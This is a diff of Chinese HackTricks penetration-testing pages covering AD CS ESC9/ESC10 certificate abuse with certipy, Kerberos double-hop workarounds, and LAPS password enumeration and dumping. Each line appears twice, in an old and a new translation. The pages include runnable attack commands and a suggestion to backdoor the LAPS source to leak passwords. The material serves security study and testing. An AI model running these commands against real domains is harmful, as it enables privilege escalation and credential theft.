新值 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) 用于 **`msPKI-Enrollment-Flag`** 的 ESC9,阻止在证书中嵌入 **新的 `szOID_NTDS_CA_SECURITY_EXT` 安全扩展**。当 `StrongCertificateBindingEnforcement` 设置为 `1` 时(默认设置),与设置为 `2` 相比,此标志变得重要。在较弱的证书映射用于 Kerberos 或 Schannel 的情况下(如 ESC10 中),此标志变得更加重要,因为缺少 ESC9 不会改变要求。
|
||||
新值 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) 用于 **`msPKI-Enrollment-Flag`** 的 ESC9,防止在证书中嵌入 **新的 `szOID_NTDS_CA_SECURITY_EXT` 安全扩展**。当 `StrongCertificateBindingEnforcement` 设置为 `1`(默认设置)时,此标志变得重要,与设置为 `2` 相对。在较弱的证书映射(如 ESC10)可能被利用的情况下,此标志变得更加重要,因为缺少 ESC9 不会改变要求。
|
||||
|
||||
设置此标志变得重要的条件包括:
|
||||
- `StrongCertificateBindingEnforcement` 未调整为 `2`(默认为 `1`),或 `CertificateMappingMethods` 包含 `UPN` 标志。
|
||||
- 证书在 `msPKI-Enrollment-Flag` 设置中标记了 `CT_FLAG_NO_SECURITY_EXTENSION` 标志。
|
||||
- 证书指定了任何客户端身份验证 EKU。
|
||||
- 可以通过任何帐户获得 `GenericWrite` 权限以妥协另一个帐户。
|
||||
|
||||
* `StrongCertificateBindingEnforcement` 未调整为 `2`(默认为 `1`),或 `CertificateMappingMethods` 包含 `UPN` 标志。
|
||||
* 证书在 `msPKI-Enrollment-Flag` 设置中标记了 `CT_FLAG_NO_SECURITY_EXTENSION` 标志。
|
||||
* 证书指定了任何客户端身份验证 EKU。
|
||||
* 可以通过任何帐户获得 `GenericWrite` 权限以妥协另一个帐户。
|
||||
|
||||
### 滥用场景
|
||||
|
||||
假设 `John@corp.local` 拥有对 `Jane@corp.local` 的 `GenericWrite` 权限,并且目标是妥协 `Administrator@corp.local`。`Jane@corp.local` 被允许注册的 `ESC9` 证书模板在其 `msPKI-Enrollment-Flag` 设置中配置了 `CT_FLAG_NO_SECURITY_EXTENSION` 标志。
|
||||
假设 `John@corp.local` 拥有对 `Jane@corp.local` 的 `GenericWrite` 权限,目标是妥协 `Administrator@corp.local`。`Jane@corp.local` 被允许注册的 `ESC9` 证书模板在其 `msPKI-Enrollment-Flag` 设置中配置了 `CT_FLAG_NO_SECURITY_EXTENSION` 标志。
|
||||
|
||||
最初,使用 Shadow 凭据获取 `Jane` 的哈希,感谢 `John` 的 `GenericWrite`:
|
||||
首先,使用 Shadow 凭据获取 `Jane` 的哈希,感谢 `John` 的 `GenericWrite`:
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
||||
```
|
||||
随后,`Jane` 的 `userPrincipalName` 被修改为 `Administrator`,故意省略了 `@corp.local` 域部分:
|
||||
随后,`Jane` 的 `userPrincipalName` 被修改为 `Administrator`,有意省略了 `@corp.local` 域部分:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
这种修改不违反约束条件,因为 `Administrator@corp.local` 作为 `Administrator` 的 `userPrincipalName` 仍然保持不同。
|
||||
|
||||
随后,将标记为易受攻击的 `ESC9` 证书模板请求为 `Jane`:
|
||||
随后,作为 `Jane`,请求标记为易受攻击的 `ESC9` 证书模板:
|
||||
```bash
|
||||
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
|
||||
```
|
||||
证书的`userPrincipalName`反映了`Administrator`,没有任何“object SID”。
|
||||
据指出,证书的 `userPrincipalName` 反映了 `Administrator`,没有任何“object SID”。
|
||||
|
||||
然后将`Jane`的`userPrincipalName`恢复为她的原始值`Jane@corp.local`:
|
||||
然后将 `Jane` 的 `userPrincipalName` 恢复为她的原始名称 `Jane@corp.local`:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
尝试使用颁发的证书进行身份验证现在会产生`Administrator@corp.local`的NT哈希。由于证书缺乏域规范,命令必须包括`-domain <domain>`:
|
||||
尝试使用颁发的证书进行身份验证现在会返回 `Administrator@corp.local` 的 NT 哈希。由于证书缺乏域规范,命令必须包括 `-domain <domain>`:
|
||||
```bash
|
||||
certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||
```
|
||||
|
@ -456,8 +462,8 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
|
|||
|
||||
域控制器上的两个注册表键值被 ESC10 提及:
|
||||
|
||||
- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` 下 `CertificateMappingMethods` 的默认值为 `0x18` (`0x8 | 0x10`),先前设置为 `0x1F`。
|
||||
- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` 下 `StrongCertificateBindingEnforcement` 的默认设置为 `1`,先前为 `0`。
|
||||
* `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` 下 `CertificateMappingMethods` 的默认值为 `0x18` (`0x8 | 0x10`), 先前设置为 `0x1F`。
|
||||
* `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` 下 `StrongCertificateBindingEnforcement` 的默认设置为 `1`, 先前为 `0`。
|
||||
|
||||
**情况 1**
|
||||
|
||||
|
@ -473,7 +479,7 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
|
|||
|
||||
例如,拥有对 `Jane@corp.local` 的 `GenericWrite` 权限,攻击者旨在危害 `Administrator@corp.local`。该过程与 ESC9 相似,允许利用任何证书模板。
|
||||
|
||||
首先,使用 Shadow 凭据利用 `GenericWrite` 检索 `Jane` 的哈希。
|
||||
首先,使用 Shadow 凭据利用 `GenericWrite` 获取 `Jane` 的哈希。
|
||||
```bash
|
||||
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
|
||||
```
|
||||
|
@ -481,7 +487,7 @@ certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
|
|||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
随后,以默认的“User”模板,作为“Jane”请求启用客户端认证的证书。
|
||||
接下来,将以`Jane`的身份请求一个启用客户端认证的证书,使用默认的`User`模板。
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
|
@ -489,7 +495,7 @@ certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
|||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
通过获得的证书进行身份验证将产生`Administrator@corp.local`的NT哈希值,由于证书中缺少域详细信息,因此需要在命令中指定域。
|
||||
使用获得的证书进行身份验证将产生`Administrator@corp.local`的NT哈希,由于证书中缺少域详细信息,因此需要在命令中指定域。
|
||||
```bash
|
||||
certipy auth -pfx administrator.pfx -domain corp.local
|
||||
```
|
||||
|
@ -509,7 +515,7 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane
|
|||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
`Jane`的`userPrincipalName`在此过程后被恢复为原始状态。
|
||||
`Jane`的`userPrincipalName`在此过程后被恢复为原始值。
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
|
||||
```
|
||||
|
@ -517,22 +523,21 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane
|
|||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
通过LDAP shell,诸如 `set_rbcd` 这样的命令可以启用基于资源的受限委派(RBCD)攻击,可能会危及域控制器。
|
||||
通过LDAP shell,诸如 `set_rbcd` 的命令可以启用基于资源的受限委派(RBCD)攻击,可能危及域控制器。
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
这个漏洞还涉及到任何缺乏`userPrincipalName`或其不匹配`sAMAccountName`的用户账户,其中默认的`Administrator@corp.local`由于其提升的LDAP权限和默认缺乏`userPrincipalName`而成为主要目标。
|
||||
这个漏洞还涉及到任何缺乏`userPrincipalName`或者`userPrincipalName`与`sAMAccountName`不匹配的用户账户,因为默认的`Administrator@corp.local`由于其提升的LDAP权限和默认缺乏`userPrincipalName`而成为主要目标。
|
||||
|
||||
## 使用证书解释被动语态下的森林提升
|
||||
|
||||
## 使用证书解释被动语态下的森林升级
|
||||
### 通过受损CA打破森林信任
|
||||
|
||||
### 通过受损CA破坏森林信任
|
||||
|
||||
**跨森林注册**的配置相对简单。资源森林的**根CA证书**由管理员**发布到账户森林**,资源森林的**企业CA**证书被**添加到每个账户森林的`NTAuthCertificates`和AIA容器**中。澄清一下,这种安排赋予了资源森林的**CA对其管理的所有其他森林完全控制**。如果这个CA被攻击者**破坏**,则这个CA可以**伪造**资源和账户森林中所有用户的证书,从而打破森林的安全边界。
|
||||
**跨森林注册**的配置相对简单。资源森林的**根CA证书**由管理员**发布到账户森林**,资源森林的**企业CA证书**被**添加到每个账户森林的`NTAuthCertificates`和AIA容器**中。澄清一下,这个安排赋予了资源森林中的**CA对其管理的所有其他森林完全控制**。如果这个CA被攻击者**入侵**,则这个CA可以**伪造**资源和账户森林中所有用户的证书,从而打破了森林的安全边界。
|
||||
|
||||
### 授予外部主体的注册权限
|
||||
|
||||
在多森林环境中,需要谨慎处理**发布允许** **Authenticated Users或外部主体**(属于企业CA所在森林之外的用户/组)**注册和编辑权限**的**证书模板的企业CA**。\
|
||||
通过信任进行身份验证时,AD会将**Authenticated Users SID**添加到用户的令牌中。因此,如果一个域拥有一个允许**Authenticated Users注册权限**的企业CA模板,一个来自不同森林的用户可能会**注册**该模板。同样,如果**模板明确授予外部主体注册权限**,则会创建一个**跨森林访问控制关系**,使一个森林的主体能够**在另一个森林中注册模板**。
|
||||
在多森林环境中,需要谨慎处理**发布证书模板**的企业CA,这些模板允许**认证用户或外部主体**(属于企业CA所属森林之外的用户/组)**注册和编辑权限**。\
|
||||
通过跨域认证,AD会将**认证用户SID**添加到用户的令牌中。因此,如果一个域拥有一个允许**认证用户注册权限**的企业CA模板,那么来自不同森林的用户可能会**注册**这个模板。同样,如果**模板明确授予外部主体注册权限**,则会创建一个**跨森林访问控制关系**,使一个森林的主体能够**注册另一个森林的模板**。
|
||||
|
||||
这两种情况都会导致从一个森林到另一个森林的**攻击面增加**。攻击者可以利用证书模板的设置在外部域中获得额外权限。
|
||||
这两种情况都会导致从一个森林到另一个森林的**攻击面增加**。攻击者可以利用证书模板的设置在外部域中获取额外权限。
|
||||
|
|
|
@ -4,39 +4,43 @@
|
|||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中宣传**吗? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) 或 **电报群** 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群组**](https://discord.gg/hRep4RUj7f) 或**电报群组**或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 简介
|
||||
|
||||
Kerberos“双跳”问题出现在攻击者尝试在两个**跳跃**中使用**Kerberos身份验证**时,例如使用**PowerShell**/**WinRM**。
|
||||
当攻击者尝试在两个**跳跃**之间使用**Kerberos身份验证**时,就会出现Kerberos“双跳”问题,例如使用**PowerShell**/**WinRM**。
|
||||
|
||||
当通过**Kerberos**进行**身份验证**时,**凭据**不会被缓存在**内存**中。因此,如果运行mimikatz,即使用户正在运行进程,也**找不到用户的凭据**。
|
||||
当通过**Kerberos**进行**身份验证**时,**凭据**不会被缓存在**内存**中。因此,即使用户正在运行进程,如果您运行mimikatz,您也**找不到用户在计算机上的凭据**。
|
||||
|
||||
这是因为连接Kerberos时的步骤如下:
|
||||
这是因为连接Kerberos时会执行以下步骤:
|
||||
|
||||
1. 用户1提供凭据,**域控制器**返回Kerberos **TGT**给用户1。
|
||||
2. 用户1使用**TGT**请求**服务票证**以**连接**到Server1。
|
||||
3. 用户1**连接**到**Server1**并提供**服务票证**。
|
||||
4. **Server1**没有缓存用户1的凭据或用户1的**TGT**。因此,当来自Server1的用户1尝试登录到第二个服务器时,他**无法进行身份验证**。
|
||||
1. User1提供凭据,**域控制器**返回一个Kerberos **TGT**给User1。
|
||||
2. User1使用**TGT**请求一个**服务票证**以**连接**到Server1。
|
||||
3. User1**连接**到**Server1**并提供**服务票证**。
|
||||
4. **Server1**没有缓存User1的凭据或User1的**TGT**。因此,当来自Server1的User1尝试登录到第二个服务器时,他**无法进行身份验证**。
|
||||
|
||||
### 无限制委派
|
||||
|
||||
如果PC中启用了**无限制委派**,则不会发生这种情况,因为**服务器**将**获取**访问它的每个用户的**TGT**。此外,如果使用了无限制委派,您可能可以从中**危害域控制器**。\
|
||||
如果PC上启用了**无限制委派**,则不会发生这种情况,因为**服务器**将获得访问它的每个用户的**TGT**。此外,如果使用无限制委派,您可能可以从中**妥协域控制器**。\
|
||||
[**在无限制委派页面了解更多信息**](unconstrained-delegation.md)。
|
||||
|
||||
### CredSSP
|
||||
|
||||
另一种避免此问题的方式是[**明显不安全的**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) **凭据安全支持提供程序**。来自Microsoft的说法:
|
||||
另一种避免此问题的方式是[**明显不安全的**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7)**凭据安全支持提供程序**。来自Microsoft的说法:
|
||||
|
||||
> CredSSP身份验证将用户凭据从本地计算机委派到远程计算机。这种做法增加了远程操作的安全风险。如果远程计算机受到损害,当凭据传递给它时,这些凭据可以用于控制网络会话。
|
||||
|
||||
强烈建议在生产系统、敏感网络和类似环境中禁用**CredSSP**,因为存在安全风险。要确定**CredSSP**是否已启用,可以运行`Get-WSManCredSSP`命令。此命令允许**检查CredSSP状态**,甚至可以远程执行,前提是启用了**WinRM**。
|
||||
强烈建议在生产系统、敏感网络和类似环境中禁用**CredSSP**,因为存在安全风险。要确定**CredSSP**是否已启用,可以运行`Get-WSManCredSSP`命令。此命令允许**检查CredSSP状态**,甚至可以在启用**WinRM**的情况下远程执行。
|
||||
```powershell
|
||||
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
|
||||
Get-WSManCredSSP
|
||||
|
@ -46,7 +50,7 @@ Get-WSManCredSSP
|
|||
|
||||
### 调用命令
|
||||
|
||||
为了解决双跳问题,提出了一种涉及嵌套`Invoke-Command`的方法。这并不能直接解决问题,但提供了一种无需特殊配置的解决方法。该方法允许通过从初始攻击机器执行的PowerShell命令或通过先前建立的与第一台服务器的PS-Session,在第二台服务器上执行一个命令(`hostname`)。以下是操作步骤:
|
||||
为了解决双跳问题,提出了一种涉及嵌套`Invoke-Command`的方法。这并不能直接解决问题,但提供了一种无需特殊配置的解决方法。该方法允许通过从初始攻击机器执行的PowerShell命令或通过与第一台服务器先前建立的PS-Session,在第二台服务器上执行一个命令(`hostname`)。以下是操作步骤:
|
||||
```powershell
|
||||
$cred = Get-Credential ta\redsuit
|
||||
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
|
||||
|
@ -64,7 +68,7 @@ klist
|
|||
```
|
||||
### 端口转发
|
||||
|
||||
对于中间目标上的本地管理员,端口转发允许将请求发送到最终服务器。使用 `netsh`,可以添加一个端口转发规则,同时添加一个Windows防火墙规则以允许转发的端口。
|
||||
对于中间目标上的本地管理员,端口转发允许将请求发送到最终服务器。使用 `netsh`,可以添加一个端口转发规则,同时还需要添加一个Windows防火墙规则来允许转发的端口。
|
||||
```bash
|
||||
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
|
||||
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
|
||||
|
@ -77,15 +81,15 @@ winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
|
|||
```
|
||||
### OpenSSH
|
||||
|
||||
在第一个服务器上安装OpenSSH可以解决双跳问题,特别适用于跳板机场景。此方法需要在Windows上进行CLI安装和设置OpenSSH。当配置为密码认证时,这允许中间服务器代表用户获取TGT。
|
||||
在第一个服务器上安装 OpenSSH 可以解决双跳问题,特别适用于跳板机场景。此方法需要在 Windows 上进行 CLI 安装和设置 OpenSSH。当配置为密码认证时,这允许中间服务器代表用户获取 TGT。
|
||||
|
||||
#### OpenSSH安装步骤
|
||||
#### OpenSSH 安装步骤
|
||||
|
||||
1. 下载并将最新的OpenSSH发行版zip文件移动到目标服务器。
|
||||
2. 解压缩并运行`Install-sshd.ps1`脚本。
|
||||
3. 添加防火墙规则以打开端口22,并验证SSH服务是否正在运行。
|
||||
1. 下载并将最新的 OpenSSH 发行版 zip 移动到目标服务器。
|
||||
2. 解压缩并运行 `Install-sshd.ps1` 脚本。
|
||||
3. 添加防火墙规则以打开端口 22 并验证 SSH 服务正在运行。
|
||||
|
||||
要解决`Connection reset`错误,可能需要更新权限以允许每个人在OpenSSH目录上具有读取和执行访问权限。
|
||||
要解决 `Connection reset` 错误,可能需要更新权限以允许每个人在 OpenSSH 目录上具有读取和执行访问权限。
|
||||
```bash
|
||||
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
||||
```
|
||||
|
@ -96,14 +100,18 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
|||
* [https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting)
|
||||
* [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在**HackTricks中宣传您的公司**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中被广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**关注**我。
|
||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**。
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群组**](https://discord.gg/hRep4RUj7f) 或**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,19 +4,24 @@
|
|||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我。
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 基本信息
|
||||
|
||||
本地管理员密码解决方案(LAPS)是一种用于管理系统的工具,其中应用于域加入计算机的**管理员密码**是**唯一的、随机的和经常更改的**。这些密码安全地存储在Active Directory中,只有通过访问控制列表(ACL)授予权限的用户才能访问。通过使用**Kerberos版本5**和**高级加密标准(AES)**,确保了从客户端到服务器的密码传输的安全性。
|
||||
本地管理员密码解决方案(LAPS)是一种用于管理系统的工具,其中**管理员密码**是**唯一的、随机的并且经常更改**,应用于加入域的计算机。 这些密码安全地存储在Active Directory中,只有通过访问控制列表(ACL)授予权限的用户才能访问。 通过使用**Kerberos版本5**和**高级加密标准(AES)**,确保了从客户端到服务器的密码传输的安全性。
|
||||
|
||||
在域的计算机对象中,实施LAPS会添加两个新属性:**`ms-mcs-AdmPwd`**和**`ms-mcs-AdmPwdExpirationTime`**。这些属性分别存储**明文管理员密码**和**其过期时间**。
|
||||
在域的计算机对象中,LAPS的实施会添加两个新属性:**`ms-mcs-AdmPwd`**和**`ms-mcs-AdmPwdExpirationTime`**。 这些属性分别存储**明文管理员密码**和**其过期时间**。
|
||||
|
||||
### 检查是否已激活
|
||||
```bash
|
||||
|
@ -33,9 +38,9 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
|
|||
```
|
||||
### LAPS密码访问
|
||||
|
||||
您可以从`\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol`下载原始LAPS策略,然后使用[**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser)软件包中的**`Parse-PolFile`**将此文件转换为人类可读格式。
|
||||
您可以从 `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` 下载原始的LAPS策略,然后使用 [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) 包中的 **`Parse-PolFile`** 来将此文件转换为可读格式。
|
||||
|
||||
此外,如果安装在我们可以访问的计算机上,可以使用**本机LAPS PowerShell cmdlet**:
|
||||
此外,如果安装在我们可以访问的计算机上,可以使用 **本机LAPS PowerShell cmdlet**:
|
||||
```powershell
|
||||
Get-Command *AdmPwd*
|
||||
|
||||
|
@ -66,9 +71,9 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
|
|||
```
|
||||
### LAPSToolkit
|
||||
|
||||
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) 简化了对启用了 LAPS 的所有计算机进行枚举的过程。\
|
||||
其中一个功能是解析**`ExtendedRights`**以获取**启用了 LAPS 的所有计算机**。这将显示专门**委派读取 LAPS 密码的组**,通常是受保护组中的用户。\
|
||||
一个**加入计算机到域的帐户**会在该主机上获得`All Extended Rights`,这个权限赋予了该**帐户读取密码**的能力。枚举可能会显示一个用户帐户可以在主机上读取 LAPS 密码。这可以帮助我们**针对可以读取 LAPS 密码的特定 AD 用户**。
|
||||
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) 有助于枚举具有多个功能的 LAPS。\
|
||||
其中一个功能是解析具有 LAPS 启用的所有计算机的 **`ExtendedRights`**。这将显示专门被授予读取 LAPS 密码权限的 **组**,通常是受保护组中的用户。\
|
||||
一个已将计算机加入域的 **帐户** 将在该主机上获得 `All Extended Rights`,这个权限赋予了该 **帐户** 读取密码的能力。枚举可能显示一个用户帐户可以在主机上读取 LAPS 密码。这可以帮助我们 **针对可以读取 LAPS 密码的特定 AD 用户**。
|
||||
```powershell
|
||||
# Get groups that can read passwords
|
||||
Find-LAPSDelegatedGroups
|
||||
|
@ -92,8 +97,8 @@ ComputerName Password Expiration
|
|||
------------ -------- ----------
|
||||
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
|
||||
```
|
||||
## **使用 Crackmapexec 转储 LAPS 密码**
|
||||
如果没有访问 PowerShell 的权限,您可以通过 LDAP 远程滥用此特权。
|
||||
## **使用Crackmapexec转储LAPS密码**
|
||||
如果没有访问powershell的权限,您可以通过LDAP远程滥用此特权。
|
||||
```
|
||||
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
|
||||
```
|
||||
|
@ -111,26 +116,30 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
|||
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
如果**管理员**使用**`Reset-AdmPwdPassword`**命令,密码仍然会被重置;或者如果在LAPS GPO中启用了**不允许密码过期时间超过策略要求**。
|
||||
如果**管理员**使用**`Reset-AdmPwdPassword`**命令; 或者在LAPS GPO中启用了**不允许密码过期时间超过策略要求**,密码仍然会被重置。
|
||||
{% endhint %}
|
||||
|
||||
### 后门
|
||||
|
||||
LAPS的原始源代码可以在[这里](https://github.com/GreyCorbel/admpwd)找到,因此可以在代码中放置一个后门(例如在`Main/AdmPwd.PS/Main.cs`中的`Get-AdmPwdPassword`方法内),以某种方式**外泄新密码或将其存储在某处**。
|
||||
LAPS的原始源代码可以在[这里](https://github.com/GreyCorbel/admpwd)找到,因此可以在代码中(例如在`Main/AdmPwd.PS/Main.cs`中的`Get-AdmPwdPassword`方法内)放置一个后门,以某种方式**外泄新密码或将其存储在某处**。
|
||||
|
||||
然后,只需编译新的`AdmPwd.PS.dll`并将其上传到`C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll`中的机器(并更改修改时间)。
|
||||
|
||||
## 参考资料
|
||||
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
